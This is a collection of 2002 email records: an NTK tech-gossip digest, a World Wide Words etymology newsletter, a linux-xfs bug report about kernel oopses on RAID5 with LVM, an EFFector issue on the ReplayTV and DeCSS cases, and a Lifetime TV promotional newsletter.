CONWAY AT THE CONWAY HALL (6pm, Tue 2002-08-27 and Thu 2002-08-29, Conway Hall, London WC1R, free) - hopefully just the start of a similarly-named speaker/ venue trend which will also see Larry Wall performing at the Great Wall Of China, and Eric Raymond at London's Raymond Revue Bar. http://www.lbw2002.draiocht.net/ - sadly, less excuse for ""pingtime for Hitler"" gag this year http://list.ftech.net/pipermail/gllug/2002-August/025308.html - bring your ""Cryptonomicon"", please don't deface his Wiki http://london.pm.org/meetings/ - last time: http://www.bluedust.com/projects/info7.asp http://www.gabba.net/pnp/lofi.asp - Plug'n'Play this Sun, feat. Casiotone & Thorsten Sideboard http://www.ica.org.uk/index.cfm?articleid=7641 - and Hacking @ ICA tonight, assuming you get this in time >> TRACKING << sufficiently advanced technology : the gathering Dijkstra finally gone? Great. Now we can hang out with those sloppy little unrigorous languages he never let into the house. Right on cue: the latest dev version of GNU SMALLTALK, that dirty treat-me-like-an-object ducky. Version 2.0b sprouts HTML-embedding and experimental MySQL support - implying you might actually be able to do something useful with it. Admittedly, ""useful"" has not been a word much used in the Smalltalk community recently. Many of the current addicts seem to live entirely in the pleasuredomes of that Land of Infinite Fun, Alan Kay's Smalltalk sequel SQUEAK, the cross-platform UI-kablooie playground which, over time, been overloaded with more ill-fitting metaphors than this sentence. But even Squeak is showing signs of returning to planet Earth. Talk of cleaning up the object tree are rife; coders are working on XP-alike skins (instead of Squeak's peculiarly homely interface right now). There's even word of a SmallTalkish scripting language in the offing. And all those new MacOS X Objective C hackers are following the trail back to the NeXT's great ancestor, giving a timely boost to the tribe. Xerox Parc *will* return! http://freshmeat.net/releases/93723/ - the smaller Smalltalk http://www.squeak.org/download/ - pretty colours http://lists.squeakfoundation.org/pipermail/squeak-dev/ - where they're all hiding http://www.iam.unibe.ch/~ducasse/WebPages/FreeBooks.html - look! free ST books! http://www.pocketsmalltalk.com/ - look! free Palm IDE! >> MEMEPOOL << ceci n'est pas une http://www.gagpipe.com/ where's Wendy?: http://3gamerchicks.com/features/bobsex/ ... http://news.bbc.co.uk/1/hi/2188214.stm got a bargain from: http://www.salon.com/tech/feature/2002/08/03/deleteddomains/print.html - still, makes a change from press releases from BT OPENWORLD: http://news.bbc.co.uk/1/hi/technology/2181078.stm ... life imitates http://www.thebrainstrust.co.uk/article.15.1961.html (from last summer); in the meantime, we can look forward to: http://www.martian.fm/countdown_it.htm ... at last - Java PARADROID: http://www.javaonthebrain.com/java/noids/ ... so has ""10,000 Statistically Grammar-Average Fake Band Names"" been taken?: http://web.media.mit.edu/~bwhitman/10000.html ... UNWITTING DOUBLE-ENTENDRE CORNER - ""Genetic Distribution of the Labial Flap"": http://www.sil.org/silewp/2001/002/ vs a trained eye on ""The lines, crevices, and folds of your fanny"": http://www.jacquelinestallone.com/reportsDocs/rumpology.html ... >> GEEK MEDIA << get out less TV>> the objection that ""Elvis - was a hero to most, but he never meant shit to me"" is addressed in ENTERTAINING ELVIS (1.35am, Fri, ITV), in which ""The King"" offers his views on our modern-day pop acts... the horror continues in the form of CANDYMAN II (1.10am, Fri, C4) and William Peter ""The Exorcist"" Blatty's psycho-nonsense THE NINTH CONFIGURATION (2.45am, Fri, C4)... and Jason ""Seinfeld"" Alexander plays one of a bunch of gay friends - not that there's anything wrong with that - in LOVE! VALOUR! COMPASSION! (12.40am, Fri, C5)... Jarvis Cocker *is* Rolf Harris, while ""Allstars"" impersonate the recently deceased ""Steps"" in CELEBRITY STARS IN THEIR EYES (8.30pm, Sat, ITV)... Sarah Michelle Gellar and Selma ""Legally Blonde"" Blair put the ""les"" back into ""Les Liaisons Dangereuses"" in their noted http://www.girlskissing.co.uk/video.htm classic CRUEL INTENTIONS (9.30pm, Sat, C4)... leading into a late- night character actor fest featuring Paul ""Boogie Nights"" Anderson's feature debut HARD EIGHT (12.35am, Sat, BBC2), David Mamet's Steve Martin con-game THE SPANISH PRISONER (1.20am, Sat, C4), and Oirish juvenile delinquent coming-of- ager THE BUTCHER BOY (12.55am, Sat, C5)... things get back to normal on Sunday with the incomprehensible remake of MISSION: IMPOSSIBLE (8.15pm, Sun, BBC1) - not to be confused with the simultaneously fruitless THE HUNT FOR THE ANTHRAX KILLER (9pm, Sun, BBC2)... Christina Ricci, Lisa Kudrow comedy THE OPPOSITE OF SEX (10pm, Sum, C4) has snappy script, no plot... and it's the final episode of the seemingly interminable 24 (10pm, Sun, BBC2): http://www.doyourecall.co.uk/ ... the - presumably rhetorically titled - DID BARRY GEORGE KILL JILL DANDO? (9pm, Mon, C4) and WHO KILLED SIMONE VALENTINE? (11.05pm, Mon, C4) are helpfully scheduled either either side of SIX FEET UNDER (10pm, Mon, C4)... Michael ""David St Hubbins"" McKean moves into management in sub-""Spinal Tap"" hostage romp AIRHEADS (10.55pm, Mon, C5)... the consistently worrying TEENAGE KICKS (10pm, Tue, C4) looks at ""Teenage Dwarfs"" - next week: ""Teenage Dirtbags""?... and http://www.diffusiononline.net/ inspiration BARGAIN HUNT (8pm, Thu, BBC1) arrives on prime- time - frankly we still prefer his mix of ""147 Lockdown""... FILM>> if they'd used the proper mathematical sigma symbol in the title, then the sequel could have been called ""The Derivative Of Distress - With Respect To Terror"" for largely humourless feelgood nuclear thriller THE SUM OF ALL FEARS ( http://www.screenit.com/movies/2002/the_sum_of_all_fears.html : We see [Bridget ""Coyote Ugly"" Moynahan] in bed, showing some cleavage; the camera briefly focuses on some cheerleaders' clothed butts during the Super Bowl)... oh and it's the full release this week for SPY KIDS 2: THE ISLAND OF LOST DREAMS ( http://www.capalert.com/capreports/spykids2.htm : telepathy; pelvic thrusts by a child; drinking with multiple drugging; ""Let's kick their [posteriors]"" - which is not included in the list of three/four letter word vocabulary but is impudent; toilet humor - smothering in a pile of dung with fecal matter in mouth)... CONFECTIONERY THEORY>> ""Are you tracking breakfast cereal?"" inquired a concerned LLOYD WOOD, after recently wandering into the ""kiddy end"" of the cereal aisle. ""They've all gone CD-ROM on the front"", he observed - causing him, for a moment to think he was looking at ""some really bloated computer magazines"". Of course we are, Lloyd, though we're not as easily swayed by gimmicks as you are, and thus can impartially report that NESTLE's Maryland-style COOKIE CRISP are the most biscuit-like breakfast ever, easily triumphing over KELLOGG's FROSTIES CHOCOLATE (too much chocolate, not enough ""frosty""), COCO POPS CRUNCHERS (clump together in this humid weather) and even the Winnie The Pooh-themed DISNEY HUNNY B's - and if you mix them all together, the milk goes so chocolatey it'll turn your Pooh brown... elsewhere in dairy, MCDONALD'S continue a disappointing run of toppings for the MCFLURRY (99p) - Cadbury's Caramel is rubbish, and Jammie Dodgers not a patch on our second-favourite McFlurry of all time, the Strawberry Crunch: http://www.ntk.net/index.cgi?b=02001-08-10&l=286#l . Reader ED AVIS complains that KFC don't tell you that their ""M&M"" AVALANCHE (also 99p) does not feature real M&Ms but ""special miniaturised ones"", which he describes as ""frozen solid"" and ""might as well be small bits of gravel for all the chocolate flavour they impart"". While, following last week's announcement of Ice T's Posse Pops, CRAIG LEFF thought we'd be reassured by the news that NBC are launching their own range of TV-themed Baskin-Robbins ice-creams, including a ""Fear Factor"" flavour designed to recreate the experience of eating ""dirt and spiders"": http://www.adage.com/news.cms?newsId=35520 ... back with confectionery, LEON VERRALL remained unimpressed with STARBURST FRUITINESSE (from 49p, ""tasted of plastic... [resembled] those 'food pills' they thought we'd all be eating by now""), DAVID BLANE grudgingly approved of the TWIX TRIPLE CHOC LIMITED EDITION (""Not bad, faintly evoking Penguins, which I never liked because of the thick chocolate""), and the whole point of that controversial ""It's not for girls"" campaign was revealed: to position NESTLE DOUBLE CREAM (40p) as a more female-friendly version of the YORKIE BAR. Other treats to look forward to in coming weeks: Cola-flavoured CADBURY-TREBOR REFRESHERS, chicken-wings-flavoured HULA HOOPS, bacon QUAVERS, the (presumably) non-crisp-like GOLDEN WONDER FRUIT WONDERS - or, indeed, any of this weird new American stuff: http://www.candyusa.org/Press/New/ace2002.shtml , ranging from SCORNED WOMAN CHOCOLATE JALAPENO FUDGE to SOFT AND CHEWY STINKY FEET (""Mmm, these feet are *so* stinky"")... >> SMALL PRINT << Need to Know is a useful and interesting UK digest of things that happened last week or might happen next week. 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Your country may be at risk if you fail to comply.",0,1 Michael Quinion ,WORLDWIDEWORDS@LISTSERV.LINGUISTLIST.ORG,"Fri, 16 Aug 2002 15:56:29 +0100",World Wide Words -- 17 Aug 02,"WORLD WIDE WORDS ISSUE 303 Saturday 17 August 2002 ------------------------------------------------------------------- Sent each Saturday to 15,000+ subscribers in at least 119 countries Editor: Michael Quinion, Thornbury, Bristol, UK ISSN 1470-1448 ------------------------------------------------------------------- IF YOU RESPOND TO THIS MAILING, REMEMBER TO CHANGE THE OUTGOING ADDRESS TO ONE OF THOSE IN THE 'CONTACT ADDRESSES' SECTION. Contents ------------------------------------------------------------------- 1. Feedback, notes and comments. 2. Turns of Phrase: Asian Brown Cloud. 3. Weird Words: Pyknic. 4. Q&A: Mash note. 5. Endnote. A. Subscription commands. B. Contact addresses. 1. Feedback, notes and comments ------------------------------------------------------------------- MACHINIMA My reputation for small errors continues to grow (I am keeping quiet about the big ones) with a misprint in last week's piece on this word. In the sentence giving the etymology, of all places, I misspelled it ""mechanima"", thus confusing everybody. APPETITE OVER TIN CUP Several replies came in about this saying, confirming that variations on it and other ways of saying ""head over heels"" are widely known, especially ""ass over appetite"" from the US, where ""appetite"" may be a transferred term for the mouth. But the specific form that Maria Jessup Robinson was asking about, ""appetite over tin cup"", seems not to be known much at all. It would seem to be a conflation of the British expression ""arse over teakettle"" and the American ""ass over appetite"" (note my deliberate use of the two spellings of ""arse"" here!). The saying was probably modified because at the time it was created a tea kettle was an item less common in America than in Britain. Even in Britain these days it is obsolete as a fixed term except within this expression, which itself is now not very common. BUMBERSHOOT Several subscribers have pointed out that the word is in the lyric of a song sung by Dick Van Dyke in the film ""Chitty Chitty Bang Bang"": Me ol' bam-boo, me ol' bam-boo You'd better never bother with me ol' bam-boo You can have me hat or me bumbershoot But you'd better never bother with me ol' bam-boo It may be one reason why some Americans, not familiar with the word in their own country, have come to believe it must be British. OLOGIES AND ISMS The publication date of my book has been moved back a week in the UK to 29 August. A review by Jonathon Green is scheduled for the issue of 31 August (assuming nobody changes the date again). See for more details and UK ordering information. 2. Turns of Phrase: Asian Brown Cloud ------------------------------------------------------------------- As though we didn't have enough to worry about weather-wise, what with global warming, the ozone hole, and the new El Nio season, UN scientists have now identified this new threat to the world's climate. It is a cloud of smog three kilometres deep, enveloping the whole of southern Asia - a soup of industrial pollutants, carbon monoxide from vehicle exhausts and particles of soot from burning forests and millions of rural cooking fires. It blocks 15% of sunlight, which reduces crop yields. It also creates acid rain, leads to respiratory illnesses, reduces rainfall and causes extreme weather events. Because the cloud is capable of being dispersed rapidly around the world, it may affect a much wider area than just Asia. The term ""Asian Brown Cloud"" seems to have been around for a couple of years in scientific circles, but came to prominence this week in a report prepared by a team of international climatologists at the UN Environment Programme in preparation for the World Summit on Sustainable Development in Johannesburg next week. The good news, they say, is that unlike other causes of pollution and climate change, this one is curable if Asians can shift to more efficient ways of burning fuels. The ""Asian Brown Cloud,"" a 2-mile-thick blanket of pollution over South Asia, may be causing the premature deaths of half a million people in India each year, deadly flooding in some areas and drought in others, a new U.N.-sponsored study indicates. [""Los Angeles Times"", Aug. 2002] A UN-backed study released on Friday said the ""Asian Brown Cloud"" - a vast haze of pollution stretching across South Asia - is damaging agriculture, modifying rainfall patterns and endangering the population. [""Agence France Presse"", Aug. 2002] 3. Weird Words: Pyknic /'pIknIk/ ------------------------------------------------------------------- Short and fat. Nothing to do with al-fresco meals, though it is said the same way as ""picnic"". In the early years of the twentieth century the German psychiatrist Ernst Kretschmer examined criminals to try to tie their physical shape and constitution to their personalities and mental illnesses. Tall and thin ones he called ""asthenic"" (or ""leptosomic"") and considered them to be the sort that commits fraud and petty theft. A second set were athletic types with well-developed muscles, whom he concluded, unsurprisingly, were more likely to be violent. The third sort were the ""pyknic"" ones, who seemed to be a mixture of the other two kinds so far as their criminal tendencies were concerned. He took ""pyknic"" from Greek ""puknos"", thick or close- packed; it appeared first in his book ""Krperbau und Charakter"" (Physique and Character) in 1921, from where it soon moved into English. The American psychologist William Sheldon built on and modified Kretschmer's ideas, coming up with the three terms to describe body types - ""endomorph"", ""mesomorph"" and ""ectomorph"" - that are now more common. He considered Kretschmer's pyknic type to be a mixture of the endomorph (with a soft round body tending to put on fat, the Santa Claus type) and the mesomorph (with a compact, powerful, and athletic body tending to the Tarzan or Mr Universe type) and came up with the phrase ""pyknic practical joke"" to describe a person who is muscular in early life but who later goes pear-shaped and balloons out into obesity. 4. Q&A ------------------------------------------------------------------- Q. A friend and I were reading a recent article in the ""New York Times"" that made mention of a ""mash note"". I had never heard this term before, but I extrapolated that it is some sort of love note. Is there a more specific meaning than a simple love note? And can you give some insight as to the origin of the term? [Jane Rosenthal, California] A. You're right about the meaning of the phrase. We have to go back some way to find the origin. The first form was the word ""mash"" by itself. This was a slang term in the US in the 1870s for an infatuation or crush (a magazine in 1877 defined it as ""a deep but fleeting affection of the heart""). A ""mash"" could also be a dandy or the object of one's affection (of either sex) or - as a verb - to make amorous advances to a member of the opposite sex, to flirt or seduce. A ""masher"" was a man who thought himself irresistible to the female sex but whose advances were often unwelcome. The evidence collected by Professor Lighter in the ""Random House Historical Dictionary of American Slang"" and by others suggests that it was originally a term used in and around the theatre. Charles Godfrey Leland (best known for his ""Hans Breitmanns Ballads"" about a German immigrant) wrote a note above his poem, ""The Masher"", dated about 1895, confirming this: The word to ""mash,"" in the sense of causing love or attracting by a glance or fascinating look, came into ordinary slang from the American stage. Thus an actress was often fined for ""mashing"" or smiling at men in the audience. ""Mash"" and its derivatives crossed the Atlantic to Britain about 1880. ""Masher"" in particular became a term in London society, especially among the more raffish supper-club and theatre-going classes, for a type of fashionable male. The Oxford English Dictionary defines it (with a distinctly maidenly air of drawing away its collective skirts) as ""a fop of affected manners and exaggerated style of dress who frequented music-halls and fashionable promenades and who posed as a 'lady-killer'"", noting that the word had been common ""in 1882 and for a few years after"". In a letter from London in the old ""Overland Monthly and Out West Magazine"" in 1889, a correspondent described a member of an impoverished theatrical company: ""This dashing youth was distinctly conscious of his fascinations for the buxom maids who sighed beside us, and the airy and elegant nonchalance of the glances that superbly took them in would be a lesson for champion 'mashers' of a far higher class"". A ""mash note"" (in its first appearances, ""mash letter"") was an obvious enough extension: a love letter. It is recorded first in 1880 and - as you have discovered - is still doing well. Where ""mash"" and its relatives come from has been a subject of debate. It is sometimes said that it is from the standard English word meaning to make soft by one of various means, with its obvious reference to rendering the object of one's attentions pliable and yielding. Max Beerbohm, writing in London in 1894 (mashers were still around then, despite the OED's comment) remarked that some people derived it from ""Ma Chre"", ""the mode of address used by the gilded youth to the barmaids of the period"". But he thought it really came from ""the chorus of a song, which, at that time, had a great vogue in the music-halls: 'I'm the slashing, dashing, mashing Montmorency of the day.'"" We're pretty sure now that he was wrong, but he could hardly know that. Back to Charles Leland again. Apart from his humorous writings, he also researched and wrote a great deal about the Romany language as well as Gypsy songs and customs. The following note from the introduction to the poem gives an origin that is now widely accepted: It was introduced by the well-known gypsy family of actors, C., among whom Romany was habitually spoken. The word ""masher"" or ""mash"" means in that tongue to allure, delude, or entice. It was doubtless much aided in its popularity by its quasi-identity with the English word. But there can be no doubt as to the gypsy origin of ""mash"" as used on the stage. I am indebted for this information to the late well- known impresario Palmer of New York, and I made a note of it years before the term had become at all popular. Though defunct in British English, ""mash"" and ""masher"" have never quite gone away in America. ""Mash"" had a resurgence of popularity as student slang in the 1980s in the sense of necking or petting, though that may be a back-formation from ""mash note"". 5. Endnote ------------------------------------------------------------------- ""A Spanish lady asked an acquaintance during a visit to Ireland whether there was a word in his language similar to 'manaa'. The Irishman thought for a moment, then said: 'Sure there is, but it doesn't have the same sense of urgency.'"" [Traditional Irish joke.] A. Subscription commands ------------------------------------------------------------------- To leave the list, change your subscription address, or subscribe, please visit . Or, you can send a message to from the address at which you are (or want to be) subscribed: To leave, send: SIGNOFF WORLDWIDEWORDS To join, send: SUBSCRIBE WORLDWIDEWORDS First-name Last-name B. Contact addresses ------------------------------------------------------------------- Do not use the address that comes up when you hit 'Reply' on this mailing, or your message will be sent to an electronic dead-letter office. Either create a new message, or change the outgoing 'To:' address to one of these: For general comments, especially responses to Q&A pieces: . For questions intended for reply in a future Q&A feature: . ------------------------------------------------------------------- World Wide Words is copyright (c) Michael Quinion 2002. All rights reserved. The Words Web site is at . ------------------------------------------------------------------- You may reproduce this newsletter in whole or in part in other free media online provided that you include this note and the copyright notice above. Reproduction in print media or on Web sites requires prior permission: contact . -------------------------------------------------------------------",0,1 """James Lee"" ","""Eric Sandeen"" ","Sat, 17 Aug 2002 03:12:38 -0400",Re: kernel BUG at filemap.c:843!,"I did more testing with your patch on top of today's CVS, but the patch didn't help at all. The following is the results of the tests: Testing setup: 1. created a ""/dev/md0"" with 4 scsi disks 2. created a LVM Volume group ""vg"" with the ""/dev/md0"" 3. created a LVM logical volume ""vol1"" with ""vg"" 4. created a XFS fs with a command: mkfs.xfs -f -d sunit=8,swidth=8 /dev/vg/vol1 -----------meta-data=/dev/vg/vol1 isize=256 agcount=8, agsize=32767 blks -----------data = bsize=4096 blocks=262136, imaxpct=25 ----------- = sunit=1 swidth=1 blks, unwritten=0 -----------naming =version 2 bsize=4096 -----------log =internal log bsize=4096 blocks=1200, version=1 ----------- = sunit=1 blks -----------realtime =none extsz=65536 blocks=0, rtextents=0 Test results: 1. mount with quota enabled => occasional kernel oops, attached the file oops1 2. mount without quota enabled => occasional kernel oops, attached the file oops2 3. mount without quota enabled, while md device is in degraded mode => always kernel oops, attached the file oops3 Thanks, JLee ----- Original Message ----- From: ""Eric Sandeen"" To: ""James Lee"" Cc: ; Sent: Tuesday, August 13, 2002 3:03 PM Subject: Re: kernel BUG at filemap.c:843! > Hi guys - > > We treat MD and LVM somewhat specially, and I wonder if in this case MD > is masking the fact that you're using LVM, and that might be where the > problem starts. > > Can you try this patch, which will cause LVM & MD to be treated the > same, to see if it helps? It's probably not the final solution, but it > might offer some hints. > > Thanks, > > -Eric > > --- linux/fs/xfs/pagebuf/page_buf_locking.c_1.24 Tue Aug 13 14:05:18 2002 > +++ linux/fs/xfs/pagebuf/page_buf_locking.c Tue Aug 13 13:59:37 2002 > @@ -198,7 +196,7 @@ > pagebuf_target_blocksize(target, PAGE_CACHE_SIZE); > > if ((MAJOR(dev) == MD_MAJOR) || (MAJOR(dev) == EVMS_MAJOR)) > - target->pbr_flags = PBR_ALIGNED_ONLY; > + target->pbr_flags = PBR_SECTOR_ONLY; > else if (MAJOR(dev) == LVM_BLK_MAJOR) > target->pbr_flags = PBR_SECTOR_ONLY; > else > > > > On Mon, 2002-08-12 at 01:40, James Lee wrote: > > Hi, > > > > I'm also having the exactly same problem. > > Tested with 2.4.19-xfs(checked out from SGI's CVS on Aug 10) on Redhat 7.2. > > Kernel and userland tools are compiled with gcc 2.91.66 > > The following is the result of some tests: > > > > scsidisks -> xfs: OK > > scsidisks -> raid5 -> xfs: OK > > scsidisks -> lvm -> xfs: OK > > scsidisks -> raid0 -> lvm -> xfs: OK > > scsidisks -> raid1 -> lvm -> xfs: OK > > scsidisks -> raid5 -> lvm -> xfs: kernel BUG at filemap.c:843! > > > > This problem is always reproducible with the following shell script: > > > > #!/bin/sh > > mkraid /dev/md0 > > vgcreate VolumeGroup /dev/md0 > > lvcreate -L1G -nTestVolume VolumeGroup > > mkfs.xfs -f -d size=32m /dev/VolumeGroup/TestVolume > > mount -t xfs /dev/VolumeGroup/TestVolume > > /mnt -onoatime,nodiratime,usrquota,grpquota > > > > Whenever I run the above script, mount command always generates kernel oops. > > But, if I insert some delay as of the following, then mount goes well: > > > -- > Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs > sandeen@sgi.com SGI, Inc. 651-683-3102 begin 666 oops1.dat M=&5S=&5D.B R+C0N,3DM>&9S(""A31TDG7-T96T@8W)E871E9""!O;B!T;W @;V8@ M3%9-(""L@340L('-O;65T:6UE6UO;W!S(#(N-""XQ(&]N(&DV.#8@,BXT+C$Y+B @3W!T:6]N6UB;VP@:6YF;W)M871I;VXN(""!) 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Please sign up as a member today! * Judge Grants Consumer Voice in ReplayTV Lawsuit Hollywood Tries to Skip Over Consumers' Concerns Los Angeles - Judge Florence Cooper today granted five ReplayTV owners a voice in the court debate over their rights to record television programs and to skip commercials using digital video recorders (DVRs). The federal court denied the entertainment industry motion to dismiss the ReplayTV owners' lawsuit and agreed to combine the consumer lawsuit with an entertainment industry lawsuit filed last fall to ban ReplayTV DVRs. ""We're pleased the court has recognized that the debate about digital video recorders must include the customers who purchase and use the devices,"" said Electronic Frontier Foundation (EFF) Intellectual Property Attorney Robin Gross. ""[T]he issue of whether the Newmark Plaintiffs' use of the ReplayTV DVRs' send-show and commercial-skipping features constitutes fair use will most likely figure prominently in both the ReplayTV action and the Newmark action,"" wrote Judge Cooper in her opinion. Responding to the entertainment industry's lawsuit against DVR manufacturers, EFF petitioned the court on behalf of the five ReplayTV owners to declare legal their use of the digital devices also known as personal video recorders (PVRs). EFF seeks to ensure that the legal debate over DVRs will include consumers' concerns along with those of the entertainment and consumer electronics industries. The entertainment industry claims that commercial skipping infringes copyright and digital recording aids piracy. ""I'm not a crook if I skip commercials or share a news interview of myself with my mom using the SendShow feature rather than sending her a videotape,"" said Craig Newmark, founder of craigslist.org and a ReplayTV owner. ""I shouldn't have to worry about getting prosecuted, but the Turner Broadcasting CEO tells us that taking a bathroom break is criminal. We even have Senators urging Attorney General Ashcroft to prosecute people who share files."" Along with Newmark, ReplayTV customers filing the lawsuit with legal representation by the EFF are: Keith Ogden, owner of a financial broker firm in San Francisco; Shawn Hughes, a small business owner in Georgia; Seattle journalist Glenn Fleishman; and southern Californian video engineer Phil Wright. Links: For this release: http://www.eff.org/IP/Video/Newmark_v_Turner/20020816_eff_pr.html Court order denying dismissal and combining the ReplayTV cases: http://www.eff.org/IP/Video/Newmark_v_Turner/20020816_consolidation_granted.html For more information on the ReplayTV customers' suit: http://www.eff.org/IP/Video/Newmark_v_Turner/ For more information on the entertainment industry's suit: http://www.eff.org/IP/Video/Paramount_v_ReplayTV/ EFF Fair Use FAQ: http://www.eff.org/IP/eff_fair_use_faq.html - end - * Musician Disputes Industry's Stance on Music Sharing Janis Ian Urges Artists Speak Out, Support Free Downloads San Francisco - Grammy-winning songwriter and recording artist Janis Ian today challenged the music industry by celebrating peer-to-peer (P2P) music sharing as a boon to musicians. Ian, who is in the San Francisco Bay Area as part of her current concert tour, recently published ""The Internet Debacle,"" a pointed critique of the music industry's disregard for musicians and consumers who want to distribute and acquire music online. The Electronic Frontier Foundation (EFF) applauds Ian's actions and hopes that others will see the Internet as an aid, not a threat, to musicians. In the article, Ian assails the major record labels' argument that P2P file-sharing is harming artists. ""Free Internet downloads are good for the music industry and its artists,"" explains Ian. ""Every act that can't get signed to a major, for whatever reason, can reach literally millions of new listeners, enticing them to buy the CD and come to the concerts."" She adds that during the heyday of Napster she saw a marked increase in CD sales from her website. She attacks technological and political measures meant to harm consumers by restricting their right to copy and back up their legally purchased music. Ian will play on August 17 in San Rafael, CA. During her 17 album career, Ian has earned nine Grammy nominations and three awards. Her best known songs include 1967's ""Society's Child"" and 1975's ""At Seventeen."" More recently, her 1993 album ""Breaking Silence"" was nominated for a Grammy Award as Contemporary Folk Album of the Year. Her songs have been recorded by artists ranging from Bette Midler to Cher, from Glen Campbell to Vanilla Fudge, and from Joan Baez to Etta James. Links: For this release: http://www.eff.org/IP/P2P/20020815_eff_pr.html Janis Ian's ""Internet Debacle"" article: http://www.janisian.com/article-internet_debacle.html Janis Ian's follow-up article: http://www.janisian.com/article-fallout.html Janis Ian's tour information: http://www.janisian.com/tourinfo.html - end - * EFF CAFE 2002 - a Benefit for EFF's Campaign for Audiovisual Free Expression Support Free Expression and See Barney-Wheaton Deathmatch Thursday, August 22nd, 2002/ 9pm - afterhours San Francisco - Join the hottest DJs of the electronic dance music scene, celebrity boxers, and the foremost cyberspace activists as we party to protect the future of music. The Electronic Frontier Foundation presents CAFE 2002 - a Benefit for EFF's Campaign for Audio-Visual Free Expression at 9 p.m. on Thursday, August 22nd, 2002 at the DNA Lounge in San Francisco. Admission is on a sliding scale and begins at $10. The night features world-class DJs, live acts, and producers from all parts of the fast-growing electronic music community and a special treat: celebrity boxing with Wil Wheaton and Barney the purple dinosaur! Wil Wheaton, of Star Trek: The Next Generation and Stand By Me fame, will take on Barney in a celebrity boxing matchup for the history books. All proceeds from the event will directly benefit EFF's CAFE project, helping to preserve your freedom to express yourself in innovative ways. For more information, see: http://www.eff.org/cafe Or contact: Katina Bishop Director of Education and Offline Activism Electronic Frontier Foundation 415-436-9333 x101 katina@eff.org - end - * Join the Fun at EFF's VIP Party with Wil Wheaton! Did you love/hate him on Star Trek: The Next Generation? Did you laugh/cringe in sympathy at the leeches scene in Stand By Me? Need one last signature to round out your autograph collection of childhood movie stars? Do we even need to ask how you feel about Barney the purple dinosaur? RSVP quickly for the Electronic Frontier Foundation's (EFF) VIP Party with Wil Wheaton immediately preceding CAFE 2002: a Benefit for EFF's Campaign for Audio-Visual Free Expression. Join Wheaton and the foremost cyberspace activists for drinks in the upstairs room of the DNA Lounge, San Francisco's leading dance club. Enjoy free drinks, good company, and excellent music. Take the battle against Barney and his legal thugs into your own hands with a swing at EFF's ferocious Barney pinata. Former technology entrepeneur and cypherpunk Sameer Parekh, now an electronic musician and event promoter, will play a mix of fresh minimal techno and electro for your aural edification. All proceeds from the event will directly benefit EFF's CAFE project, helping to preserve your freedom to express yourself in innovative ways. Tickets are $50 (includes cost of CAFE 2002 and two drinks). When: August 22, 2002 at 8:00 p.m. Where: The DNA Lounge 375 Eleventh Street, San Francisco, CA 94103 21+ w/ID, NO EXCEPTIONS To reserve your ticket, contact: Katina Bishop EFF Education Director 415-436-9333 x101 katina@eff.org - end - * Court Hearing Set in DeCSS Publication Jurisdiction Case On September 5, 2002, the California Supreme Court will hear oral arguments about whether a California court has jurisdiction over Matthew Pavlovich, an Indiana college student who is a resident of Texas, for his hosting of an Internet mailing list. Pavlovich maintained the mailing list for the LiVid programming group, which provides a unified development and user resource center for video and DVD-related work for the Linux operating system. One of the group's projects was to create a DVD player for computer systems that run Linux. As part of that effort, DeCSS, a program that decrypts the copy protection on DVDs, was published on the group's mailing list. The entertainment industry has sued Pavlovich in California court, and last year a California appellate court ruled Pavlovich was within the state court's jurisdiction since he published information that relates to the entertainment industry, which is based in California. EFF and Pavlovich's legal team argue that Pavlovich is outside of California's jurisdiction since he was a college student in Indiana with no contacts to California when DeCSS was published on the LiVid list. The hearing on September 5 will take place in San Francisco. Links: For more info on the case: http://www.eff.org/IP/DVDCCA_case/ - end - Deep Links Deep Links is a new department in the EFFector featuring noteworthy news items, victories and threats from around the Internet. * Lawrence Lessig's Second-to-Last Speech on Copyright Lawrence Lessig gave one of his last public speeches on copyright at the O'Reilly Open Source Conference. He will be taking time off of the speaking circuit to prepare for the Eldred v. Archroft case, which he is arguing before the Supreme Court this fall. Copies of the speech are available in many formats here: http://randomfoo.net/oscon/2002/lessig/ - end - * The ""Total Information Awareness System"" A colorful diagram of John Poindexter's scary plan to eliminate terrorists. http://www.darpa.mil/iao/TIASystems.htm - end - * Can the Digital Hub Survive Hollywood? Cory Doctorow on how innovation and technology suffer at the hands of the content industry. http://www.tidbits.com/database-cache/tbart06901.html - end - * Administrivia EFFector is published by: The Electronic Frontier Foundation 454 Shotwell Street San Francisco CA 94110-1914 USA +1 415 436 9333 (voice) +1 415 436 9993 (fax) http://www.eff.org/ Editor: Ren Bucholz, Activist ren@eff.org To Join EFF online, or make an additional donation, go to: http://www.eff.org/support/ Membership & donation queries: membership@eff.org General EFF, legal, policy or online resources queries: ask@eff.org Reproduction of this publication in electronic media is encouraged. Signed articles do not necessarily represent the views of EFF. To reproduce signed articles individually, please contact the authors for their express permission. Press releases and EFF announcements & articles may be reproduced individually at will. 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Take a sneak peek at Lifetimes next exciting Original Movie, ""The Secret Life of Zoey"" [ http://www.lifetimetv.com/movies/info/move3195.html ], airing on Monday, August 19 at 9 pm et/pt. Zoey's mom thought she knew everything about her perfect teenage daughter. But when she realizes that her child is addicted to drugs, both of their worlds spin out of control. This dramatic film delves into the topic of teenage drug addiction and features stellar performers Mia Farrow, Andrew McCarthy and Julia Whelan, from TV's ""Once and Again."" Go behind the scenes with the cast [ http://www.lifetimetv.com/movies/originals/bio1.html ], read real-life recovery stories of teen drug addicts [ http://www.lifetimetv.com/reallife/health/features/teen_addiction.html ], and learn how to keep your kids drug-free with 10 expert tips [ http://www.lifetimetv.com/reallife/health/features/drug_free.html ]. ************************************************************************* THE BUZZ ABOUT THE UPCOMING MOVIE People are already talking about the sensitive subject of kids and drug addiction featured in ""The Secret Life of Zoey."" Lifetimetv.com community member BELFAST BELLE writes: ""My belief is that I started using drugs to fit in and to cope with things that happened to me. My mom died when I was 10. I had to live away from my dad and brothers. Where I grew up I was sexually abused for years, but I didn't dare tell anyone. When I finally went to live with my dad and brothers, I had no self-esteem left. I experienced so much shame, and in my mind it seemed as if everyone knew what happened. Drugs helped me to feel OK and like I was a part of something. When my dad died, I was devastated. It threw me into a full-blown addiction. My drug use landed me in rehab, in debt and in strained relationships with my brothers. Thanks to the help of Narcotics Anonymous, I have been clean since December 28, 1991. I now have great relationships with my siblings. I love them more than they will ever know. I also have a beautiful seven-year-old daughter who has never seen her mother touch drugs. I don't have any desire to use, either -- just the desire to be the best pe rson I can be."" Express yourself! Tell us your thoughts on ""The Secret Life of Zoey"" and let us know if addiction has affected your life. Go to our Message Boards at http://boards.lifetimetv.com/WebX?14@@.ee91dd6. ************************************************************************* MOVIES AIRING THIS 